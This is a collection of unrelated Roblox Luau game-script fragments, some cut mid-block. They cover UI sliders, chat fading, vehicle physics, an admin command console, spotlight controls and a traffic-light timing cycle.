BorderSizePixel = 0;
Position = (typeof(self.props.Value) == 'number') and
self.props.Value or
self.props.Value:map(function (Value)
return UDim2.new(Value, 0, 0.5, 0)
end);
Size = UDim2.new(0, 4, 0, 4);
ZIndex = 2;
}, {
Corners = new('UICorner', {
CornerRadius = UDim.new(1, 0);
});
Shadow = new('Frame', {
AnchorPoint = Vector2.new(0.5, 0.5);
BackgroundColor3 = Color3.fromRGB(56, 56, 56);
BorderSizePixel = 0;
Position = UDim2.new(0.5, 0, 0.5, 0);
Size = UDim2.new(0, 6, 0, 6);
}, {
Corners = new('UICorner', {
CornerRadius = UDim.new(1, 0);
})
});
});
}))
end
function Slider.IsDragInput(Input)
return (Input.UserInputType.Name == 'MouseMovement') or
(Input.UserInputType.Name == 'MouseButton1') or
(Input.UserInputType.Name == 'Touch')
end
function Slider:ListenToDragEvents(SliderObject)
local function Callback(Action, State, Input)
return Enum.ContextActionResult.Sink
end
ContextActionService:BindAction('SliderDragging', Callback, false,
Enum.UserInputType.MouseButton1,
Enum.UserInputType.MouseMovement,
Enum.UserInputType.Touch
)
self.Maid.DragChangeListener = UserInputService.InputChanged:Connect(function (Input)
if self.IsDragInput(Input) then
self:HandleDragInput(SliderObject, Input)
end
end)
self.Maid.DragEndListener = UserInputService.InputEnded:Connect(function (Input)
if self.IsDragInput(Input) then
self:HandleDragInput(SliderObject, Input)
self.Maid.DragChangeListener = nil
self.Maid.DragEndListener = nil
ContextActionService:UnbindAction('SliderDragging')
end
end)
end
function Slider:HandleDragInput(SliderObject, Input)
local Alpha = math.clamp((Input.Position.X - SliderObject.AbsolutePosition.X) / SliderObject.AbsoluteSize.X, 0, 1)
self.props.OnValueChanged(Alpha)
end
return Slider
|
----------------------------------------------------------------------------- |
script.Parent.Humanoid.HealthChanged:Connect(function()
if script.Parent.Humanoid.Health <= 61 then
Instance.new("Decal", script.Parent["Right Arm"])
script.Parent["Right Arm"].Decal.Texture = "rbxassetid://508050982"
script.Parent["Right Arm"].Decal.Face = "Right"
end
end)
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================ |
function BoostSetup()
local Speedometer = gui:WaitForChild("Speedometer")
local Bar = Speedometer:WaitForChild("Bar")
local SpeedBar = Bar:WaitForChild("SpeedBar")
function GuiController:UpdateBoost(boostAmount)
local boostPercentage = math.clamp(boostAmount/engine._settings.BoostAmount, 0, 1)
Bar.Position = UDim2.new(-1 + boostPercentage, 0, 0, 0)
SpeedBar.Position = UDim2.new(1 - 1*boostPercentage, 0, 0, 0)
end
end -- BoostSetup() |
--For tires: |
for i,child in pairs(script.Parent.Parent:GetChildren()) do
if string.find(child.Name, "FR") then FRtire = child.PhysicsTire
elseif string.find(child.Name, "FL") then FLtire = child.PhysicsTire
elseif string.find(child.Name, "RR") then RRtire = child.PhysicsTire
elseif string.find(child.Name, "RL") then RLtire = child.PhysicsTire
end
end
local frontDistance = (script.Parent.Parent.Base.Position - FRtire.Position).magnitude + 0.5
local rearDistance = (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude + 0.5
function deleteCar()
print"Deleting car fling"
script.Parent.Parent.Parent:Destroy()
end
thrust.Force = Vector3.new(0,0,0)
seat.Changed:Connect(function()
if not inLoop then
inLoop = true
repeat wait(0.3)
local speed = seat.Velocity.Magnitude
if speed > 90 and seat.Occupant ~= nil then
factor = (55/speed) * factorMain--
elseif speed > 60 and speed <= 90 and seat.Occupant ~= nil then
factor = (51/speed) * factorMain--
elseif speed > 30 and speed <= 60 and seat.Occupant ~= nil then
factor = (47/speed) * factorMain--
elseif speed > 10 and speed <= 30 and seat.Occupant ~= nil then
factor = (40/speed) * factorMain--
elseif speed < 10 and speed <= 1 and seat.Occupant ~= nil then
factor = (0.9) * factorMain--
elseif speed < 30 and seat.Occupant == nil then
factor = (0.5) * factorMain--
end
if speed > maxSpeed + 2 then factor = factorMain/2 end
if seat.Throttle == -1 then factor = factor * -1
elseif seat.Throttle == 1 then factor = factor/2 end
thrust.Force = Vector3.new(0,0,(400*speed*factor))
--print (speed,thrust.Force)
--For tires
if (script.Parent.Parent.Base.Position - FRtire.Position).magnitude > frontDistance then wait(1)if (script.Parent.Parent.Base.Position - FRtire.Position).magnitude > frontDistance then deleteCar() end end
if (script.Parent.Parent.Base.Position - FLtire.Position).magnitude > frontDistance then wait(1) if (script.Parent.Parent.Base.Position - FLtire.Position).magnitude > frontDistance then deleteCar() end end
if (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude > rearDistance then wait(1)if (script.Parent.Parent.Rear.Position - RRtire.Position).magnitude > rearDistance then deleteCar() end end
if (script.Parent.Parent.Rear.Position - RLtire.Position).magnitude > rearDistance then wait(1)if (script.Parent.Parent.Rear.Position - RLtire.Position).magnitude > rearDistance then deleteCar() end end
until speed < 1
inLoop = false
end
end)
|
--EDIT BELOW---------------------------------------------------------------------- |
settings.PianoSoundRange = 50
settings.KeyAesthetics = true
settings.PianoSounds = {
"674235030",
"674235182",
"674235405",
"674244823",
"674244967",
"674245210"
} |
--////////////////////////////////////////////////////////////////////////////////////////////
--////////////////////////////////////////////////////////////// Code to do chat window fading
--//////////////////////////////////////////////////////////////////////////////////////////// |
function CheckIfPointIsInSquare(checkPos, topLeft, bottomRight)
return (topLeft.X <= checkPos.X and checkPos.X <= bottomRight.X and
topLeft.Y <= checkPos.Y and checkPos.Y <= bottomRight.Y)
end
local backgroundIsFaded = false
local textIsFaded = false
local lastTextFadeTime = 0
local lastBackgroundFadeTime = 0
local fadedChanged = Instance.new("BindableEvent")
local mouseStateChanged = Instance.new("BindableEvent")
local chatBarFocusChanged = Instance.new("BindableEvent")
function DoBackgroundFadeIn(setFadingTime)
lastBackgroundFadeTime = tick()
backgroundIsFaded = false
fadedChanged:Fire()
ChatWindow:FadeInBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
local currentChannelObject = ChatWindow:GetCurrentChannel()
if (currentChannelObject) then
local Scroller = MessageLogDisplay.Scroller
Scroller.ScrollingEnabled = true
Scroller.ScrollBarThickness = moduleMessageLogDisplay.ScrollBarThickness
end
end
function DoBackgroundFadeOut(setFadingTime)
lastBackgroundFadeTime = tick()
backgroundIsFaded = true
fadedChanged:Fire()
ChatWindow:FadeOutBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
local currentChannelObject = ChatWindow:GetCurrentChannel()
if (currentChannelObject) then
local Scroller = MessageLogDisplay.Scroller
Scroller.ScrollingEnabled = false
Scroller.ScrollBarThickness = 0
end
end
function DoTextFadeIn(setFadingTime)
lastTextFadeTime = tick()
textIsFaded = false
fadedChanged:Fire()
ChatWindow:FadeInText((setFadingTime or ChatSettings.ChatDefaultFadeDuration) * 0)
end
function DoTextFadeOut(setFadingTime)
lastTextFadeTime = tick()
textIsFaded = true
fadedChanged:Fire()
ChatWindow:FadeOutText((setFadingTime or ChatSettings.ChatDefaultFadeDuration))
end
function DoFadeInFromNewInformation()
DoTextFadeIn()
if ChatSettings.ChatShouldFadeInFromNewInformation then
DoBackgroundFadeIn()
end
end
function InstantFadeIn()
DoBackgroundFadeIn(0)
DoTextFadeIn(0)
end
function InstantFadeOut()
DoBackgroundFadeOut(0)
DoTextFadeOut(0)
end
local mouseIsInWindow = nil
function UpdateFadingForMouseState(mouseState)
mouseIsInWindow = mouseState
mouseStateChanged:Fire()
if (ChatBar:IsFocused()) then return end
if (mouseState) then
DoBackgroundFadeIn()
DoTextFadeIn()
else
DoBackgroundFadeIn()
end
end
spawn(function()
while true do
RunService.RenderStepped:Wait()
while (mouseIsInWindow or ChatBar:IsFocused()) do
if (mouseIsInWindow) then
mouseStateChanged.Event:Wait()
end
if (ChatBar:IsFocused()) then
chatBarFocusChanged.Event:Wait()
end
end
if (not backgroundIsFaded) then
local timeDiff = tick() - lastBackgroundFadeTime
if (timeDiff > ChatSettings.ChatWindowBackgroundFadeOutTime) then
DoBackgroundFadeOut()
end
elseif (not textIsFaded) then
local timeDiff = tick() - lastTextFadeTime
if (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then
DoTextFadeOut()
end
else
fadedChanged.Event:Wait()
end
end
end)
function getClassicChatEnabled()
if ChatSettings.ClassicChatEnabled ~= nil then
return ChatSettings.ClassicChatEnabled
end
return Players.ClassicChat
end
function getBubbleChatEnabled()
if ChatSettings.BubbleChatEnabled ~= nil then
return ChatSettings.BubbleChatEnabled
end
return Players.BubbleChat
end
function bubbleChatOnly()
return not getClassicChatEnabled() and getBubbleChatEnabled()
end
function UpdateMousePosition(mousePos)
if not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end
if bubbleChatOnly() then
return
end
local windowPos = ChatWindow.GuiObject.AbsolutePosition
local windowSize = ChatWindow.GuiObject.AbsoluteSize
local newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize)
if (newMouseState ~= mouseIsInWindow) then
UpdateFadingForMouseState(newMouseState)
end
end
UserInputService.InputChanged:connect(function(inputObject)
if (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then
local mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)
UpdateMousePosition(mousePos)
end
end)
UserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent)
UpdateMousePosition(tapPos[1])
end)
UserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent)
local tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y)
UpdateMousePosition(tapPos)
end)
UserInputService.Changed:connect(function(prop)
if prop == "MouseBehavior" then
if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
local windowPos = ChatWindow.GuiObject.AbsolutePosition
local windowSize = ChatWindow.GuiObject.AbsoluteSize
local screenSize = GuiParent.AbsoluteSize
local centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize)
if centerScreenIsInWindow then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
end
end)
|
--//SHADZYDEV//-- |
local team = script.Parent.Team
local frame = script.Parent.Parent
local player = game.Players.LocalPlayer
script.Parent.MouseButton1Click:connect(function()
frame.Visible = false
player.Team = team.Value
game.Lighting.Blur.Size = 0
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
end)
|
-- Waiting for the player ensures that the RobloxLocaleId has been set. |
if Players.LocalPlayer == nil then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
end
local coreScriptTableTranslator
local function getTranslator()
if coreScriptTableTranslator == nil then
coreScriptTableTranslator = script.CoreScriptLocalization:GetTranslator(
LocalizationService.RobloxLocaleId)
end
return coreScriptTableTranslator
end
local RobloxTranslator = {}
function RobloxTranslator:FormatByKey(key, args)
return getTranslator():FormatByKey(key, args)
end
return RobloxTranslator
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed codeName..gui.Name |
return function(data, env)
if env then
setfenv(1, env)
end
local player = service.Players.LocalPlayer
local playergui = player.PlayerGui
local gui = script.Parent.Parent
local frame = gui.Frame
local text = gui.Frame.TextBox
local scroll = gui.Frame.ScrollingFrame
local players = gui.Frame.PlayerList
local entry = gui.Entry
local BindEvent = gTable.BindEvent
local opened = false
local scrolling = false
local debounce = false
local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"})
local splitKey = settings.SplitKey
local consoleKey = settings.ConsoleKeyCode
local batchKey = settings.BatchKey
local prefix = settings.Prefix
local commands = client.Remote.Get('FormattedCommands') or {}
local tweenInfo = TweenInfo.new(0.20)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, 140);
})
local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, 40);
})
local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {
Position = UDim2.new(0, 0, 0.02, 0);
})
local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {
Position = UDim2.new(0, 0, 0, -200);
})
frame.Position = UDim2.new(0,0,0,-200)
frame.Visible = false
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
if client.Variables.ConsoleOpen then
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = true end
end
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
local function close()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
scroll.ScrollingEnabled = false
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
players.Visible = false
scrollOpen = false
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = true end
consoleCloseTween:Play();
--service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
--frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
debounce = false
opened = false
end
end
local function open()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
service.StarterGui:SetCoreGuiEnabled("Chat",false)
service.StarterGui:SetCoreGuiEnabled('PlayerList',false)
scroll.ScrollingEnabled = true
players.ScrollingEnabled = true
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = false end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = false end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = false end
consoleOpenTween:Play();
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
players.Visible = false
scrollOpen = false
text.Text = ''
frame.Visible = true
frame.Position = UDim2.new(0,0,0,0)
text:CaptureFocus()
text.Text = ''
wait()
text.Text = ''
debounce = false
opened = true
end
end
local function isInConsoleBounds(pos) -- input.Position
for i,v in ipairs(playergui:GetGuiObjectsAtPosition(pos.X, pos.Y)) do
if v == gui or v == gui.Frame then return true end
end
return false
end
text.FocusLost:Connect(function(enterPressed)
if enterPressed then
if text.Text~='' and string.len(text.Text)>1 then
client.Remote.Send('ProcessCommand',text.Text)
end
close()
elseif not isInConsoleBounds(player:GetMouse()) then
close()
end
end)
text.Changed:Connect(function(c)
if c == 'Text' and text.Text ~= '' and open then
if string.sub(text.Text, string.len(text.Text)) == " " then
if players:FindFirstChild("Entry 0") then
text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." "
elseif scroll:FindFirstChild("Entry 0") then
text.Text = string.split(scroll["Entry 0"].Text, "<")[1]
else
text.Text = text.Text..prefix
end
text.CursorPosition = string.len(text.Text) + 1
text.Text = string.gsub(text.Text, " ", "")
end
scroll:ClearAllChildren()
players:ClearAllChildren()
local nText = text.Text
if string.match(nText,".*"..batchKey.."([^']+)") then
nText = string.match(nText,".*"..batchKey.."([^']+)")
nText = string.match(nText,"^%s*(.-)%s*$")
end
local pNum = 0
local pMatch = string.match(nText,".+"..splitKey.."(.*)$")
for i,v in next,service.Players:GetPlayers() do
if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then
local new = entry:Clone()
new.Text = tostring(v)
new.Name = "Entry "..pNum
new.TextXAlignment = "Right"
new.Visible = true
new.Parent = players
new.Position = UDim2.new(0,0,0,20*pNum)
new.Activated:Connect(function()
text.Text = text.Text..tostring(v)
text:CaptureFocus()
end)
pNum = pNum+1
end
end
players.CanvasSize = UDim2.new(0,0,0,pNum*20)
local num = 0
for i,v in next,commands do
if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then
if not scrollOpen then
scrollOpenTween:Play();
--frame.Size = UDim2.new(1,0,0,140)
scroll.Visible = true
players.Visible = true
scrollOpen = true
end
local b = entry:Clone()
b.Visible = true
b.Parent = scroll
b.Text = v
b.Name = "Entry "..num
b.Position = UDim2.new(0,0,0,20*num)
b.Activated:Connect(function()
text.Text = b.Text:gsub("<.->", "")
text:CaptureFocus()
end)
num = num+1
end
end
local temptween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140));
})
local temptween1 = service.TweenService:Create(scroll, tweenInfo, {
CanvasSize = UDim2.new(0,0,0,num*20);
})
temptween:Play(); temptween1:Play()
elseif c == 'Text' and text.Text == '' and opened then
scrollCloseTween:Play();
--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
scroll.Visible = false
players.Visible = false
scrollOpen = false
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
end
end)
BindEvent(service.UserInputService.InputBegan, function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then
if opened then
close()
else
open()
end
client.Variables.ConsoleOpen = opened
end
end)
gTable:Ready()
end
|
------------------------------------------------------ |
--========================SPOTLIGHT========================--
local SpotLightEvent = script.Parent.Car.Value.Body.Spotlight.RemoteEvent
SpotlightFrame.On.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Lights on")script.Parent.AC6_Stock_Gauges.Frame.Beep:Play()end)
SpotlightFrame.Off.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Lights off")script.Parent.AC6_Stock_Gauges.Frame.Beep:Play()end)
SpotlightFrame.Right.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Right start")end)
SpotlightFrame.Right.MouseButton1Up:Connect(function()SpotLightEvent:FireServer("Right stop")end)
SpotlightFrame.Left.MouseButton1Down:Connect(function()SpotLightEvent:FireServer("Left start")end)
SpotlightFrame.Left.MouseButton1Up:Connect(function()SpotLightEvent:FireServer("Left stop")end)
--======================SPOTLIGHT END======================--
|
------------------------------------------------------------------------------------------------------------------------------------------------------
-- ControlScript
------------------------------------------------------------------------------------------------------------------------------------------------------ |
local Players = game:GetService('Players')
local RunService = game:GetService('RunService')
local UserInputService = game:GetService('UserInputService')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local PathfindingService = game:GetService('PathfindingService')
local LocalPlayer = Players.LocalPlayer
local LocalMouse = LocalPlayer:GetMouse()
local LocalCharacter = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local MouseHolding = false
local PathingThread = nil
local CurrentPath = nil
local HoldingPosition = false
workspace.Camera.CameraType = Enum.CameraType.Custom
|
--------------------------------------------- |
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 1
PedValues.PedSignal2a.Value = 1
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 2
PedValues.PedSignal2a.Value = 2
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 1
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL1 GREEN)
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 2
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4)--Yield Time (YIELD SIGNAL1 PROTECTED TURN GREEN)
TurnValues.TurnSignal1.Value = 3
SignalValues.Signal1.Value = 3
wait(2)--Clearance Cycle
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 1
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(10)--Green Time (BEGIN SIGNAL1a GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 2
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4)--Yield Time (YIELD SIGNAL1a PROTECTED TURN GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)--ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed codeName..gui.Name |
return function(data, env)
if env then
setfenv(1, env)
end
local player = service.Players.LocalPlayer
local playergui = player.PlayerGui
local gui = script.Parent.Parent
local frame = gui.Frame
local text = gui.Frame.TextBox
local scroll = gui.Frame.ScrollingFrame
local players = gui.Frame.PlayerList
local entry = gui.Entry
local BindEvent = gTable.BindEvent
local opened = false
local scrolling = false
local scrollOpen = false
local debounce = false
local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"})
local splitKey = settings.SplitKey
local consoleKey = settings.ConsoleKeyCode
local batchKey = settings.BatchKey
local prefix = settings.Prefix
local commands = client.Remote.Get('FormattedCommands') or {}
local scrollOpenSize = UDim2.new(0.36, 0, 0, 200)
local scrollCloseSize = UDim2.new(0.36, 0, 0, 47)
local openPos = UDim2.new(0.32, 0, 0.353, 0)
local closePos = UDim2.new(0.32, 0, 0, -200)
local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {
